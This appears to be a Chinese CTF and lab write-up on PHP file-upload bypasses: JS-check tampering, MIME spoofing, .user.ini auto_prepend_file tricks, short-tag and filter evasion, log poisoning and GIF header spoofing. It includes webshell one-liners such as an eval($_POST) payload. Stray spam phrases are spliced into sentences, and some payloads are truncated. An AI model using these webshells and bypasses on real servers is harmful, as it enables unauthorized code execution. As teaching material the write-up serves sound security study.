目录
1.JS验证
2.JS验证+MIME
3.JS验证+.user.ini
4.JS验证+.user.ini+短标签 (ctfshow154,155关)
5.JS验证+.user.ini+短标签+过滤 [ ]
6.JS验证+.user.ini+短标签+加过滤+文件头
知识点:
1、文件上传-前端验证
2、文件上传-黑白名单
3、文件上传-user.in妙用
4、文件上传-PHP语言特性
后门代码需要特定后缀格式解析,不能以图片后缀解析脚本后门代码(解析漏洞除外),如:jpg图片里面有php后门代码,不能被触发,所以连接不上后门
本文将通过upload-labs靶场进行演示说明,关于upload-labs靶场的搭建请参考这篇文章:https://blog.csdn.net/m0_69583059/article/details/135767303?spm=1001.2014.3001.5501
1.JS验证
upload-labs靶场第一关
用哥斯拉生成一个php后门文件,打开哥斯拉点击管理->生成,将生成的后门文件重命名为hm.php(方便演示)
关于哥斯拉的使用和安装请参考这篇文章:哥斯拉安装和使用
上传png文件成功,上传hm.php文件失败
F12修改前端代码
复制php文件路径(http://localhost/upload-labs/upload/hm.php),用哥斯拉尝试连接
2.JS验证+MIME
upload-labs靶场第二关
这里直接F12修改后是没有用的
通过抓包发现上传png文件时和上传php文件时,Content-Type的值不一样
现在我们将上传php文件时的Content-Type值修改为image/png,我们发现上传成功
3.JS验证+.user.ini
user.ini:auto_prepend_file=hm.png
hm.png:
后台对文件后缀进行限制,拦截php等相关后缀,导致后门代码无法上传,这里我们要用到.user.ini注意.user.ini的使用是有条件的,只适用于php,别的语言可能不支持,这里主要讲解思路,语言不一样,但思路都差不多,可以自己去了解一下,别的语言有没有类似与.uer.ini文件这样的功能。
.user.ini 文件是PHP的配置文件,用于自定义PHP的配置选项。该文件通常位于PHP安装目录的根目录下,或者在特定的网站目录下。.user.ini 文件是一个文本文件,可以使用任何文本编辑器进行编辑。它包含了PHP的配置选项和值,每个选项和值都以等号(=)分隔。当php再进行扫描的时候会读取到web目录下的ini文件,从而进行触发。
在这个配置中存在两个配置项:auto_append_file和auto_pr服务器托管网epend_file
1.auto_prepend_file
auto_prepend_file表示在每个PHP脚本之前自动加载指定的文件。该文件的内容将被插入到原始脚本的顶部。
2.auto_append_file
和auto_prepend_file类似,这个是指内容添加到文末,如果有exit会无法调用到
upload-labs靶场第五关
源码里把所有可以解析的后缀名都给写死了,包括大小写,转换,空格,还有点号,正常的php服务器托管网类文件上传不了了,并且拒绝上传 .htaccess 文件。反复观察发现没有被限制的后缀名有 .php7 以及 .ini。现在我们该怎么办呢,php文件不能上传,那么我们能不能把后门代码写在png文件里面呢,这样显然是不行的,这样会导致格式错误,这里我们就要用到php特有的.user.ini文件,上面已经介绍过了,.user.ini的配置项auto_prepend_file表示在每个PHP脚本之前自动加载指定的文件,该文件的内容将被插入到原始脚。这是什么意识呢,这里我解释一下,也就是说我们如果直接将后门代码写在png文件下是不能上传的,因为php文件被拦截了,所以这里我们要借auto_prepend_file,将png文件设定为指定文件,这样png文件里面的后门代码就会插入到原脚本(也就是和传入文件同目录的php文件,这里是readme.php), 这样我们就成功将后门代码植入到了php文件中,而index.php文件本来就是项目文件,这样就可以通过index.php连接哥斯拉了。
现在我们创建一个.user.ini文件,在文件里写入auto_prepend_file=hm.png。然后将我们生成的木马文件hm.php改为hm.png,然后将这两个文件上传
现在我们尝试一下用readme.php连接哥斯拉
测试连接成功
4.JS验证+.user.ini+短标签 (ctfshow154,155关)
user.ini:auto_prepend_file=text.png
text.png:=eval($_POST[pass]);?>
后台对文件后缀以及短标签<?php进行限制 ,这个时候不但要考虑php后缀文件不能上传,还要考虑后门代码不能出现<?php
这里有几种替换短标签<?php的方法 ,效果是一样的,一般用第二种和第四种,因为不需要前提条件
1. //前提是开启配置参数short_open_tags=on
2.=(表达式)?> //不需要开启参数设置
将替换成=eval($_POST[pass]);?>
3. //前提是开启了配置参数asp_tags=on
4.echo ‘1’ //不用修改参数开关
5.JS验证+.user.ini+短标签+过滤 [ ]
过滤[],用{}替代(ctfshow156关)
user.ini:auto_prepend_file=hm.png
hm.png:=eval($_POST{pass});?>
过滤了后门语句的分号;和php(ctfshow157关)
zm.png:
过滤了;,php,() (ctfshow158,159关)
zm.png:
基本都过滤了(ctfshow160关)
包含默认日志,日志记录UA头,UA头写后门代码
user.ini:auto_prepend_file=zm.png
zm.png:=include"/var/lo"."g/nginx/access.lo"."g"?>
6.JS验证+.user.ini+短标签+加过滤+文件头
文件头部检测是否为图片格式文件(ctfshow161关)
user.ini:GIF89Aauto_prepend_file=zm.png
zm.png:GIF89A=include"/var/lo"."g/nginx/access.lo"."g"?>
服务器托管,北京服务器托管,服务器租用 http://www.fwqtg.net
相关推荐: Python GUI 新手入门教程:轻松构建图形用户界面
Python 凭借其简单性和多功能性,已经成为最流行的编程语言之一。被广泛应用于从 web 开发到数据科学的各个领域。 在本教程中,我们将探索用于创建图形用户界面(GUIs)的 Python 内置库: Tkinter:无论你是初学者还是经验丰富的开发人员,了解…